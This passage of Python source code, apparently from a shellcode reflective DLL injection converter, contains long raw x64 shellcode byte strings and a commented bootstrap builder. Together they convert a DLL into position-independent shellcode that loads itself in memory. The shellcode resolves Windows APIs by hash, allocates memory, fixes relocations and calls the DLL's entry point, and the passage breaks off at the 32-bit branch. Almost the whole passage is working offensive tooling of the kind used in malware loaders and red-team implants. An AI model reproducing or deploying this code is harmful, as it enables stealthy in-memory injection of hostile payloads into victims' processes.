\xc9\x4c\x8b\xf3\x41\xb8\x02\x00\x00\x00\x4c\x2b\x77\x30\x0f\x84\xd6\x00\x00\x00\x44\x39\xbf\xb4\x00\x00\x00\x0f\x84\xc9\x00\x00\x00\x44\x8b\x8f\xb0\x00\x00\x00\x4c\x03\xcb\x45\x39\x39\x0f\x84\xb6\x00\x00\x00\x4d\x8d\x51\x08\xe9\x91\x00\x00\x00\x45\x0f\xb7\x1a\x41\x0f\xb7\xcb\x41\x0f\xb7\xc3\x66\xc1\xe9\x0c\x66\x83\xf9\x0a\x75\x29\x45\x8b\x01\x41\x81\xe3\xff\x0f\x00\x00\x4b\x8d\x04\x18\x48\x8b\x14\x18\x4b\x8d\x04\x18\x41\xbb\x01\x00\x00\x00\x49\x03\xd6\x48\x89\x14\x18\x45\x8d\x43\x01\xeb\x4f\x41\xbb\x01\x00\x00\x00\x66\x83\xf9\x03\x75\x0e\x25\xff\x0f\x00\x00\x48\x8d\x0c\x03\x41\x8b\xc6\xeb\x2e\x66\x41\x3b\xcb\x75\x15\x25\xff\x0f\x00\x00\x48\x8d\x0c\x03\x49\x8b\xc6\x48\xc1\xe8\x10\x0f\xb7\xc0\xeb\x13\x66\x41\x3b\xc8\x75\x14\x25\xff\x0f\x00\x00\x48\x8d\x0c\x03\x41\x0f\xb7\xc6\x41\x8b\x11\x48\x01\x04\x0a\x4d\x03\xd0\x41\x8b\x41\x04\x49\x03\xc1\x4c\x3b\xd0\x0f\x85\x5f\xff\xff\xff\x4d\x8b\xca\x45\x39\x3a\x0f\x85\x4a\xff\xff\xff\x44\x39\xbf\x94\x00\x00\x00\x0f\x84\x88\x01\x00\x00\x8b\x8f\x90\x00\x00\x00\x45\x8b\xef\x4c\x8d\x04\x19\x49\x8d\x40\x0c\xeb\x07\x45\x03\xeb\x48\x8d\x40\x14\x44\x39\x38\x75\xf4\x41\x8b\xc4\x83\xe0\x04\x89\x45\xb8\x8b\xc1\x0f\x84\x89\x00\x00\x00\x45\x3b\xeb\x0f\x86\x80\x00\x00\x00\x41\xc1\xec\x10\x45\x8d\x5d\xff\x45\x8b\xd7\x45\x85\xdb\x74\x74\x4d\x8b\xc8\x41\xbe\xff\x7f\x00\x00\x41\x0f\x10\x01\x33\xd2\x41\x8b\xcd\x41\x2b\xca\x69\xf6\xfd\x43\x03\x00\x41\x8b\xc6\xf7\xf1\x33\xd2\x81\xc6\xc3\x9e\x26\x00\x8d\x48\x01\x8b\xc6\xc1\xe8\x10\x41\x23\xc6\xf7\xf1\x41\x03\xc2\x41\xff\xc2\x48\x8d\x0c\x80\x41\x8b\x54\x88\x10\x41\x0f\x10\x0c\x88\x41\x0f\x11\x04\x88\x41\x8b\x41\x10\x41\x89\x44\x88\x10\x41\x0f\x11\x09\x41\x89\x51\x10\x4d\x8d\x49\x14\x45\x3b\xd3\x72\xa1\x8b\x87\x90\x00\x00\x00\xeb\x04\x44\x8b\x65\xbc\x8b\xf0\x48\x03\xf3\x8b\x46\x0c\x85\xc0\x0f\x84\xb7\x00\x00\x00\x8b\x7d\xb8\x8b\xc8\x48\x03\xcb\xff\x55\xf8\x48\x89\x44\x24\x30\x4c\x8b\xd0\x44\x8b\x36\x44\x8b\x7e\x10\x4c\x03\xf3\x4c\x03\xfb\x49\x8b\x0e\x48\x85\xc9\x74\x65\x48\x8b\x7d\xf0\x48\x85\xc9\x79\x08\x45\x0f\xb7\x06\x33\xd2\xeb\x32\x48\x8d\x53\x02\x33\xc0\x48\x03\xd1\x38\x02\x74\x0e\x48\x8b\xca\x48\xff\xc1\x48\xff\xc0\x80\x39\x00\x75\xf5\x48\x89\x54\x24\x28\x45\x33\xc0\x48\x8d\x54\x24\x20\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4d\x8b\xcf\x49\x8b\xca\xff\xd7\x49\x83\xc6\x08\x49\x83\xc7\x08\x49\x8b\x0e\x48\x85\xc9\x74\x07\x4c\x8b\x54\x24\x30\xeb\xa2\x8b\x7d\xb8\x45\x33\xff\x85\xff\x74\x10\x41\x83\xfd\x01\x76\x0a\x41\x69\xcc\xe8\x03\x00\x00\xff\x55\xe8\x8b\x46\x20\x48\x83\xc6\x14\x85\xc0\x0f\x85\x50\xff\xff\xff\x48\x8b\x7d\x28\x4c\x8b\x6d\xf0\x44\x39\xbf\xf4\x00\x00\x00\x0f\x84\xa9\x00\x00\x00\x44\x8b\xbf\xf0\x00\x00\x00\x49\x83\xc7\x04\x4c\x03\xfb\x45\x33\xe4\x41\x8b\x07\x85\xc0\x0f\x84\x8a\x00\x00\x00\x8b\xc8\x48\x03\xcb\xff\x55\xf8\x48\x89\x44\x24\x30\x48\x8b\xc8\x41\x8b\x77\x08\x45\x8b\x77\x0c\x48\x03\xf3\x4c\x03\xf3\x4c\x39\x26\x74\x5e\x49\x8b\x16\x48\x85\xd2\x79\x08\x44\x0f\xb7\xc2\x33\xd2\xeb\x34\x4c\x8d\x43\x02\x49\x8b\xc4\x4c\x03\xc2\x45\x38\x20\x74\x0e\x49\x8b\xd0\x48\xff\xc2\x48\xff\xc0\x44\x38\x22\x75\xf5\x4c\x89\x44\x24\x28\x48\x8d\x54\x24\x20\x45\x33\xc0\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4c\x8b\xce\x41\xff\xd5\x48\x83\xc6\x08\x49\x83\xc6\x08\x4c\x39\x26\x74\x07\x48\x8b\x4c\x24\x30\xeb\xa2\x49\x83\xc7\x20\xe9\x6b\xff\xff\xff\x45\x33\xff\x45\x33\xc0\x33\xd2\x48\x83\xc9\xff\xff\x55\x00\x41\xbe\x01\x00\x00\x00\x44\x39\xbf\xd4\x00\x00\x00\x74\x24\x8b\x87\xd0\x00\x00\x00\x48\x8b\x74\x18\x18\x48\x8b\x06\x48\x85\xc0\x74\x11\x45\x33\xc0\x41\x8b\xd6\x48\x8b\xcb\xff\xd0\x48\x8d\x76\x08\xeb\xe7\x4c\x8b\x4d\x10\x4d\x85\xc9\x74\x2f\x8b\x87\xa4\x00\x00\x00\x85\xc0\x74\x25\x8b\xc8\x4c\x8b\xc3\x48\xb8\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x48\xf7\xe1\x8b\x8f\xa0\x00\x00\x00\x48\xc1\xea\x03\x48\x03\xcb\x41\x2b\xd6\x41\xff\xd1\x8b\x47\x28\x4d\x8b\xc6\x48\x03\xc3\x41\x8b\xd6\x48\x8b\xcb\xff\xd0\x8b\xb5\x98\x00\x00\x00\x85\xf6\x0f\x84\xa6\x00\x00\x00\x44\x39\xbf\x8c\x00\x00\x00\x0f\x84\x99\x00\x00\x00\x8b\x8f\x88\x00\x00\x00\x48\x03\xcb\x44\x8b\x59\x18\x45\x85\xdb\x0f\x84\x83\x00\x00\x00\x44\x39\x79\x14\x74\x7d\x44\x8b\x49\x20\x41\x8b\xff\x8b\x51\x24\x4c\x03\xcb\x48\x03\xd3\x45\x85\xdb\x74\x68\x45\x8b\x01\x45\x8b\xd7\x4c\x03\xc3\x74\x5d\x41\x8a\x00\x84\xc0\x74\x21\x0f\xbe\xc0\x4d\x03\xc6\x41\x03\xc2\x44\x8b\xd0\x41\xc1\xca\x0d\x41\x8a\x00\x84\xc0\x75\xe9\x41\x3b\xf2\x75\x05\x48\x85\xd2\x75\x12\x41\x03\xfe\x49\x83\xc1\x04\x48\x83\xc2\x02\x41\x3b\xfb\x73\x25\xeb\xbb\x8b\x49\x1c\x44\x0f\xb7\x02\x48\x03\xcb\xba\x08\x00\x00\x00\x42\x8b\x04\x81\x48\x8d\x0d\x3d\xf7\xff\xff\x48\x03\xc3\xff\xd0\xeb\x02\x33\xc0\x4c\x8d\x9c\x24\x60\x01\x00\x00\x49\x8b\x5b\x30\x49\x8b\x73\x40\x49\x8b\x7b\x48\x49\x8b\xe3\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5d\xc3\xcc\xcc\xcc\x48\x8b\xc4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xec\x10\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x8b\xe9\x45\x33\xf6\x48\x8b\x50\x18\x4c\x8b\x4a\x10\x4d\x8b\x41\x30\x4d\x85\xc0\x0f\x84\xb3\x00\x00\x00\x41\x0f\x10\x41\x58\x49\x63\x40\x3c\x41\x8b\xd6\x4d\x8b\x09\xf3\x0f\x7f\x04\x24\x46\x8b\x9c\x00\x88\x00\x00\x00\x45\x85\xdb\x74\xd2\x48\x8b\x04\x24\x48\xc1\xe8\x10\x66\x44\x3b\xf0\x73\x22\x48\x8b\x4c\x24\x08\x44\x0f\xb7\xd0\x0f\xbe\x01\xc1\xca\x0d\x80\x39\x61\x7c\x03\x83\xc2\xe0\x03\xd0\x48\xff\xc1\x49\x83\xea\x01\x75\xe7\x4f\x8d\x14\x18\x45\x8b\xde\x41\x8b\x7a\x20\x49\x03\xf8\x45\x39\x72\x18\x76\x8e\x8b\x37\x41\x8b\xde\x49\x03\xf0\x48\x8d\x7f\x04\x0f\xbe\x0e\x48\xff\xc6\xc1\xcb\x0d\x03\xd9\x84\xc9\x75\xf1\x8d\x04\x13\x3b\xc5\x74\x0e\x41\xff\xc3\x45\x3b\x5a\x18\x72\xd5\xe9\x5e\xff\xff\xff\x41\x8b\x42\x24\x43\x8d\x0c\x1b\x49\x03\xc0\x0f\xb7\x14\x01\x41\x8b\x4a\x1c\x49\x03\xc8\x8b\x04\x91\x49\x03\xc0\xeb\x02\x33\xc0\x48\x8b\x5c\x24\x20\x48\x8b\x6c\x24\x28\x48\x8b\x74\x24\x30\x48\x8b\x7c\x24\x38\x48\x83\xc4\x10\x41\x5e\xc3'
rdiShellcode64 = b'\x48\x8b\xc4\x48\x89\x58\x08\x44\x89\x48\x20\x4c\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8d\x6c\x24\xa0\x48\x81\xec\x60\x01\x00\x00\x45\x33\xff\xc7\x45\xc8\x6b\x00\x65\x00\x48\x8b\xf1\x4c\x89\x7d\xf8\xb9\x13\x9c\xbf\xbd\x4c\x89\x7d\xc0\x4c\x89\x7d\x00\x45\x8d\x4f\x65\x4c\x89\x7d\x08\x44\x88\x4d\xb4\x44\x88\x4d\x9a\x4c\x89\x7d\xe0\x4c\x89\x7d\xe8\x4c\x89\x7d\x10\x44\x89\x7d\x1c\x44\x89\x7c\x24\x24\xc7\x45\xcc\x72\x00\x6e\x00\xc7\x45\xd0\x65\x00\x6c\x00\xc7\x45\xd4\x33\x00\x32\x00\xc7\x45\xd8\x2e\x00\x64\x00\xc7\x45\xdc\x6c\x00\x6c\x00\xc7\x44\x24\x38\x53\x6c\x65\x65\xc6\x44\x24\x3c\x70\xc7\x44\x24\x50\x4c\x6f\x61\x64\xc7\x44\x24\x54\x4c\x69\x62\x72\xc7\x44\x24\x58\x61\x72\x79\x41\xc7\x44\x24\x40\x56\x69\x72\x74\xc7\x44\x24\x44\x75\x61\x6c\x41\xc7\x44\x24\x48\x6c\x6c\x6f\x63\xc7\x44\x24\x60\x56\x69\x72\x74\xc7\x44\x24\x64\x75\x61\x6c\x50\xc7\x44\x24\x68\x72\x6f\x74\x65\x66\xc7\x44\x24\x6c\x63\x74\xc7\x45\xa0\x46\x6c\x75\x73\xc7\x45\xa4\x68\x49\x6e\x73\xc7\x45\xa8\x74\x72\x75\x63\xc7\x45\xac\x74\x69\x6f\x6e\xc7\x45\xb0\x43\x61\x63\x68\xc7\x44\x24\x70\x47\x65\x74\x4e\xc7\x44\x24\x74\x61\x74\x69\x76\xc7\x44\x24\x78\x65\x53\x79\x73\xc7\x44\x24\x7c\x74\x65\x6d\x49\x66\xc7\x45\x80\x6e\x66\xc6\x45\x82\x6f\xc7\x45\x88\x52\x74\x6c\x41\xc7\x45\x8c\x64\x64\x46\x75\xc7\x45\x90\x6e\x63\x74\x69\xc7\x45\x94\x6f\x6e\x54\x61\x66\xc7\x45\x98\x62\x6c\xe8\x95\x07\x00\x00\xb9\xb5\x41\xd9\x5e\x48\x8b\xd8\xe8\x88\x07\x00\x00\x4c\x8b\xe8\x48\x89\x45\xf0\x48\x8d\x45\xc8\xc7\x45\x18\x18\x00\x18\x00\x4c\x8d\x4c\x24\x30\x48\x89\x45\x20\x4c\x8d\x45\x18\x33\xd2\x33\xc9\xff\xd3\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x40\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xc0\xc7\x44\x24\x20\x0c\x00\x0c\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x60\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xe0\xc7\x44\x24\x20\x0e\x00\x0e\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8d\x45\xa0\xc7\x44\x24\x20\x15\x00\x15\x00\x48\x8b\x4c\x24\x30\x4c\x8d\x4d\x00\x45\x33\xc0\x48\x89\x44\x24\x28\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x70\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\x08\xc7\x44\x24\x20\x13\x00\x13\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x38\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xe8\xc7\x44\x24\x20\x05\x00\x05\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x45\x88\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\x10\xc7\x44\x24\x20\x13\x00\x13\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x48\x8b\x4c\x24\x30\x48\x8d\x44\x24\x50\x45\x33\xc0\x48\x89\x44\x24\x28\x4c\x8d\x4d\xf8\xc7\x44\x24\x20\x0c\x00\x0c\x00\x48\x8d\x54\x24\x20\x41\xff\xd5\x4c\x39\x7d\xc0\x0f\x84\x33\x06\x00\x00\x4c\x39\x7d\xe0\x0f\x84\x29\x06\x00\x00\x4c\x39\x7d\xe8\x0f\x84\x1f\x06\x00\x00\x4c\x39\x7d\x00\x0f\x84\x15\x06\x00\x00\x4c\x8b\x4d\x08\x4d\x85\xc9\x0f\x84\x08\x06\x00\x00\x48\x63\x7e\x3c\x48\x03\xfe\x81\x3f\x50\x45\x00\x00\x0f\x85\xf5\x05\x00\x00\xb8\x64\x86\x00\x00\x66\x39\x47\x04\x0f\x85\xe6\x05\x00\x00\x44\x8b\x47\x38\x45\x8d\x5f\x01\x45\x84\xc3\x0f\x85\xd5\x05\x00\x00\x0f\xb7\x4f\x14\x41\x8b\xdf\x48\x83\xc1\x24\x66\x44\x3b\x7f\x06\x73\x29\x44\x0f\xb7\x57\x06\x48\x03\xcf\x8b\x41\x04\x8b\x11\x85\xc0\x75\x06\x42\x8d\x04\x02\xeb\x02\x03\xc2\x3b\xc3\x0f\x46\xc3\x48\x83\xc1\x28\x8b\xd8\x4d\x2b\xd3\x75\xdf\x48\x8d\x4d\x30\x41\xff\xd1\x8b\x55\x34\x44\x8b\xc2\x44\x8d\x72\xff\xf7\xda\x44\x03\x77\x50\x49\x8d\x48\xff\x8b\xc2\x4c\x23\xf0\x8b\xc3\x48\x03\xc8\x49\x8d\x40\xff\x48\xf7\xd0\x48\x23\xc8\x4c\x3b\xf1\x0f\x85\x62\x05\x00\x00\x48\x8b\x4f\x30\x41\xbc\x00\x30\x00\x00\x45\x8b\xc4\x41\xb9\x04\x00\x00\x00\x49\x8b\xd6\xff\x55\xc0\x48\x8b\xd8\x48\x85\xc0\x75\x12\x44\x8d\x48\x04\x45\x8b\xc4\x49\x8b\xd6\x33\xc9\xff\x55\xc0\x48\x8b\xd8\x4c\x8d\x4d\xbc\x44\x89\x7d\xbc\x41\xb8\x40\x00\x00\x00\x49\x8b\xd6\x48\x8b\xcb\xff\x55\xe0\x44\x8b\xa5\xc0\x00\x00\x00\x41\xbb\x01\x00\x00\x00\x45\x84\xe3\x74\x1d\x8b\x46\x3c\x89\x43\x3c\x8b\x56\x3c\xeb\x0b\x8b\xca\x41\x03\xd3\x8a\x04\x31\x88\x04\x19\x3b\x57\x54\x72\xf0\xeb\x19\x41\x8b\xd7\x44\x39\x7f\x54\x76\x10\x8b\xca\x41\x03\xd3\x8a\x04\x31\x88\x04\x19\x3b\x57\x54\x72\xf0\x48\x63\x7b\x3c\x45\x8b\xd7\x48\x03\xfb\x48\x89\x7d\x28\x44\x0f\xb7\x47\x14\x49\x83\xc0\x28\x66\x44\x3b\x7f\x06\x73\x3a\x4c\x03\xc7\x45\x8b\xcf\x45\x39\x38\x76\x1f\x41\x8b\x50\x04\x41\x8b\x48\xfc\x41\x8b\xc1\x45\x03\xcb\x48\x03\xc8\x48\x03\xd0\x8a\x04\x32\x88\x04\x19\x45\x3b\x08\x72\xe1\x0f\xb7\x47\x06\x45\x03\xd3\x49\x83\xc0\x28\x44\x3b\xd0\x72\xc9\x4c\x8b\xf3\x41\xb8\x02\x00\x00\x00\x4c\x2b\x77\x30\x0f\x84\xd6\x00\x00\x00\x44\x39\xbf\xb4\x00\x00\x00\x0f\x84\xc9\x00\x00\x00\x44\x8b\x8f\xb0\x00\x00\x00\x4c\x03\xcb\x45\x39\x39\x0f\x84\xb6\x00\x00\x00\x4d\x8d\x51\x08\xe9\x91\x00\x00\x00\x45\x0f\xb7\x1a\x41\x0f\xb7\xcb\x41\x0f\xb7\xc3\x66\xc1\xe9\x0c\x66\x83\xf9\x0a\x75\x29\x45\x8b\x01\x41\x81\xe3\xff\x0f\x00\x00\x4b\x8d\x04\x18\x48\x8b\x14\x18\x4b\x8d\x04\x18\x41\xbb\x01\x00\x00\x00\x49\x03\xd6\x48\x89\x14\x18\x45\x8d\x43\x01\xeb\x4f\x41\xbb\x01\x00\x00\x00\x66\x83\xf9\x03\x75\x0e\x25\xff\x0f\x00\x00\x48\x8d\x0c\x03\x41\x8b\xc6\xeb\x2e\x66\x41\x3b\xcb\x75\x15\x25\xff\x0f\x00\x00\x48\x8d\x0c\x03\x49\x8b\xc6\x48\xc1\xe8\x10\x0f\xb7\xc0\xeb\x13\x66\x41\x3b\xc8\x75\x14\x25\xff\x0f\x00\x00\x48\x8d\x0c\x03\x41\x0f\xb7\xc6\x41\x8b\x11\x48\x01\x04\x0a\x4d\x03\xd0\x41\x8b\x41\x04\x49\x03\xc1\x4c\x3b\xd0\x0f\x85\x5f\xff\xff\xff\x4d\x8b\xca\x45\x39\x3a\x0f\x85\x4a\xff\xff\xff\x44\x39\xbf\x94\x00\x00\x00\x0f\x84\x88\x01\x00\x00\x8b\x8f\x90\x00\x00\x00\x45\x8b\xef\x4c\x8d\x04\x19\x49\x8d\x40\x0c\xeb\x07\x45\x03\xeb\x48\x8d\x40\x14\x44\x39\x38\x75\xf4\x41\x8b\xc4\x83\xe0\x04\x89\x45\xb8\x8b\xc1\x0f\x84\x89\x00\x00\x00\x45\x3b\xeb\x0f\x86\x80\x00\x00\x00\x41\xc1\xec\x10\x45\x8d\x5d\xff\x45\x8b\xd7\x45\x85\xdb\x74\x74\x4d\x8b\xc8\x41\xbe\xff\x7f\x00\x00\x41\x0f\x10\x01\x33\xd2\x41\x8b\xcd\x41\x2b\xca\x69\xf6\xfd\x43\x03\x00\x41\x8b\xc6\xf7\xf1\x33\xd2\x81\xc6\xc3\x9e\x26\x00\x8d\x48\x01\x8b\xc6\xc1\xe8\x10\x41\x23\xc6\xf7\xf1\x41\x03\xc2\x41\xff\xc2\x48\x8d\x0c\x80\x41\x8b\x54\x88\x10\x41\x0f\x10\x0c\x88\x41\x0f\x11\x04\x88\x41\x8b\x41\x10\x41\x89\x44\x88\x10\x41\x0f\x11\x09\x41\x89\x51\x10\x4d\x8d\x49\x14\x45\x3b\xd3\x72\xa1\x8b\x87\x90\x00\x00\x00\xeb\x04\x44\x8b\x65\xbc\x8b\xf0\x48\x03\xf3\x8b\x46\x0c\x85\xc0\x0f\x84\xb7\x00\x00\x00\x8b\x7d\xb8\x8b\xc8\x48\x03\xcb\xff\x55\xf8\x48\x89\x44\x24\x30\x4c\x8b\xd0\x44\x8b\x36\x44\x8b\x7e\x10\x4c\x03\xf3\x4c\x03\xfb\x49\x8b\x0e\x48\x85\xc9\x74\x65\x48\x8b\x7d\xf0\x48\x85\xc9\x79\x08\x45\x0f\xb7\x06\x33\xd2\xeb\x32\x48\x8d\x53\x02\x33\xc0\x48\x03\xd1\x38\x02\x74\x0e\x48\x8b\xca\x48\xff\xc1\x48\xff\xc0\x80\x39\x00\x75\xf5\x48\x89\x54\x24\x28\x45\x33\xc0\x48\x8d\x54\x24\x20\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4d\x8b\xcf\x49\x8b\xca\xff\xd7\x49\x83\xc6\x08\x49\x83\xc7\x08\x49\x8b\x0e\x48\x85\xc9\x74\x07\x4c\x8b\x54\x24\x30\xeb\xa2\x8b\x7d\xb8\x45\x33\xff\x85\xff\x74\x10\x41\x83\xfd\x01\x76\x0a\x41\x69\xcc\xe8\x03\x00\x00\xff\x55\xe8\x8b\x46\x20\x48\x83\xc6\x14\x85\xc0\x0f\x85\x50\xff\xff\xff\x48\x8b\x7d\x28\x4c\x8b\x6d\xf0\x44\x39\xbf\xf4\x00\x00\x00\x0f\x84\xa9\x00\x00\x00\x44\x8b\xbf\xf0\x00\x00\x00\x49\x83\xc7\x04\x4c\x03\xfb\x45\x33\xe4\x41\x8b\x07\x85\xc0\x0f\x84\x8a\x00\x00\x00\x8b\xc8\x48\x03\xcb\xff\x55\xf8\x48\x89\x44\x24\x30\x48\x8b\xc8\x41\x8b\x77\x08\x45\x8b\x77\x0c\x48\x03\xf3\x4c\x03\xf3\x4c\x39\x26\x74\x5e\x49\x8b\x16\x48\x85\xd2\x79\x08\x44\x0f\xb7\xc2\x33\xd2\xeb\x34\x4c\x8d\x43\x02\x49\x8b\xc4\x4c\x03\xc2\x45\x38\x20\x74\x0e\x49\x8b\xd0\x48\xff\xc2\x48\xff\xc0\x44\x38\x22\x75\xf5\x4c\x89\x44\x24\x28\x48\x8d\x54\x24\x20\x45\x33\xc0\x66\x89\x44\x24\x20\x66\x89\x44\x24\x22\x4c\x8b\xce\x41\xff\xd5\x48\x83\xc6\x08\x49\x83\xc6\x08\x4c\x39\x26\x74\x07\x48\x8b\x4c\x24\x30\xeb\xa2\x49\x83\xc7\x20\xe9\x6b\xff\xff\xff\x45\x33\xff\x45\x33\xc0\x33\xd2\x48\x83\xc9\xff\xff\x55\x00\x41\xbe\x01\x00\x00\x00\x44\x39\xbf\xd4\x00\x00\x00\x74\x24\x8b\x87\xd0\x00\x00\x00\x48\x8b\x74\x18\x18\x48\x8b\x06\x48\x85\xc0\x74\x11\x45\x33\xc0\x41\x8b\xd6\x48\x8b\xcb\xff\xd0\x48\x8d\x76\x08\xeb\xe7\x4c\x8b\x4d\x10\x4d\x85\xc9\x74\x2f\x8b\x87\xa4\x00\x00\x00\x85\xc0\x74\x25\x8b\xc8\x4c\x8b\xc3\x48\xb8\xab\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x48\xf7\xe1\x8b\x8f\xa0\x00\x00\x00\x48\xc1\xea\x03\x48\x03\xcb\x41\x2b\xd6\x41\xff\xd1\x8b\x47\x28\x4d\x8b\xc6\x48\x03\xc3\x41\x8b\xd6\x48\x8b\xcb\xff\xd0\x8b\xb5\xa8\x00\x00\x00\x85\xf6\x0f\x84\xb0\x00\x00\x00\x44\x39\xbf\x8c\x00\x00\x00\x0f\x84\xa3\x00\x00\x00\x8b\x8f\x88\x00\x00\x00\x48\x03\xcb\x44\x8b\x59\x18\x45\x85\xdb\x0f\x84\x8d\x00\x00\x00\x44\x39\x79\x14\x0f\x84\x83\x00\x00\x00\x44\x8b\x49\x20\x41\x8b\xff\x8b\x51\x24\x4c\x03\xcb\x48\x03\xd3\x45\x85\xdb\x74\x6e\x45\x8b\x01\x45\x8b\xd7\x4c\x03\xc3\x74\x63\x41\x8a\x00\x84\xc0\x74\x21\x0f\xbe\xc0\x4d\x03\xc6\x41\x03\xc2\x44\x8b\xd0\x41\xc1\xca\x0d\x41\x8a\x00\x84\xc0\x75\xe9\x41\x3b\xf2\x75\x05\x48\x85\xd2\x75\x12\x41\x03\xfe\x49\x83\xc1\x04\x48\x83\xc2\x02\x41\x3b\xfb\x73\x2b\xeb\xbb\x8b\x49\x1c\x0f\xb7\x12\x48\x03\xcb\x44\x8b\x85\xb8\x00\x00\x00\x8b\x04\x91\x48\x8d\x0d\x37\xf7\xff\xff\x8b\x95\xb0\x00\x00\x00\x48\x03\xc3\xff\xd0\xeb\x02\x33\xc0\x48\x8b\x9c\x24\xa0\x01\x00\x00\x48\x81\xc4\x60\x01\x00\x00\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\x5e\x5d\xc3\xcc\x48\x8b\xc4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xec\x10\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x8b\xe9\x45\x33\xf6\x48\x8b\x50\x18\x4c\x8b\x4a\x10\x4d\x8b\x41\x30\x4d\x85\xc0\x0f\x84\xb3\x00\x00\x00\x41\x0f\x10\x41\x58\x49\x63\x40\x3c\x41\x8b\xd6\x4d\x8b\x09\xf3\x0f\x7f\x04\x24\x46\x8b\x9c\x00\x88\x00\x00\x00\x45\x85\xdb\x74\xd2\x48\x8b\x04\x24\x48\xc1\xe8\x10\x66\x44\x3b\xf0\x73\x22\x48\x8b\x4c\x24\x08\x44\x0f\xb7\xd0\x0f\xbe\x01\xc1\xca\x0d\x80\x39\x61\x7c\x03\x83\xc2\xe0\x03\xd0\x48\xff\xc1\x49\x83\xea\x01\x75\xe7\x4f\x8d\x14\x18\x45\x8b\xde\x41\x8b\x7a\x20\x49\x03\xf8\x45\x39\x72\x18\x76\x8e\x8b\x37\x41\x8b\xde\x49\x03\xf0\x48\x8d\x7f\x04\x0f\xbe\x0e\x48\xff\xc6\xc1\xcb\x0d\x03\xd9\x84\xc9\x75\xf1\x8d\x04\x13\x3b\xc5\x74\x0e\x41\xff\xc3\x45\x3b\x5a\x18\x72\xd5\xe9\x5e\xff\xff\xff\x41\x8b\x42\x24\x43\x8d\x0c\x1b\x49\x03\xc0\x0f\xb7\x14\x01\x41\x8b\x4a\x1c\x49\x03\xc8\x8b\x04\x91\x49\x03\xc0\xeb\x02\x33\xc0\x48\x8b\x5c\x24\x20\x48\x8b\x6c\x24\x28\x48\x8b\x74\x24\x30\x48\x8b\x7c\x24\x38\x48\x83\xc4\x10\x41\x5e\xc3\xff\xb1\x80\x00\x00\x00\x6a\x00\x6a\x00\x6a\x00\x6a\x00\xff\xb1\x90\x00\x00\x00\x6a\x00\xff\x31\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x6a\x00\xff\x31\xff\x71\x78\x6a\x00\x6a\x00\x6a\x00\xff\xb1\x88\x00\x00\x00\xff\x71\x30\x6a\x00\xff\x31\xc3'
#MARKER:E
if is64BitDLL(dllBytes):
rdiShellcode = rdiShellcode64
bootstrap = b''
bootstrapSize = 64
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
# pop rcx - Capture our current location in memory
bootstrap += b'\x59'
# mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
bootstrap += b'\x49\x89\xc8'
# add rcx, <Offset of the DLL>
bootstrap += b'\x48\x81\xc1'
bootstrap += pack('I', dllOffset)
# mov edx, <Hash of function>
bootstrap += b'\xba'
bootstrap += pack('I', functionHash)
# Setup the location of our user data
# add r8, <Offset of the DLL> + <Length of DLL>
bootstrap += b'\x49\x81\xc0'
userDataLocation = dllOffset + len(dllBytes)
bootstrap += pack('I', userDataLocation)
# mov r9d, <Length of User Data>
bootstrap += b'\x41\xb9'
bootstrap += pack('I', len(userData))
# push rsi - save original value
bootstrap += b'\x56'
# mov rsi, rsp - store our current stack pointer for later
bootstrap += b'\x48\x89\xe6'
# and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
bootstrap += b'\x48\x83\xe4\xf0'
# sub rsp, 0x30 - Create some breathing room on the stack
bootstrap += b'\x48\x83\xec'
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
bootstrap += b'\xC7\x44\x24'
bootstrap += b'\x20'
bootstrap += pack('I', flags)
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# mov rsp, rsi - Reset our original stack pointer
bootstrap += b'\x48\x89\xf4'
# pop rsi - Put things back where we left them
bootstrap += b'\x5e'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrapSize:
raise Exception("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData
else: # 32 bit
rdiShellcode = rdiShellcode32
bootstrap = b''
bootstrapSize = 49
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
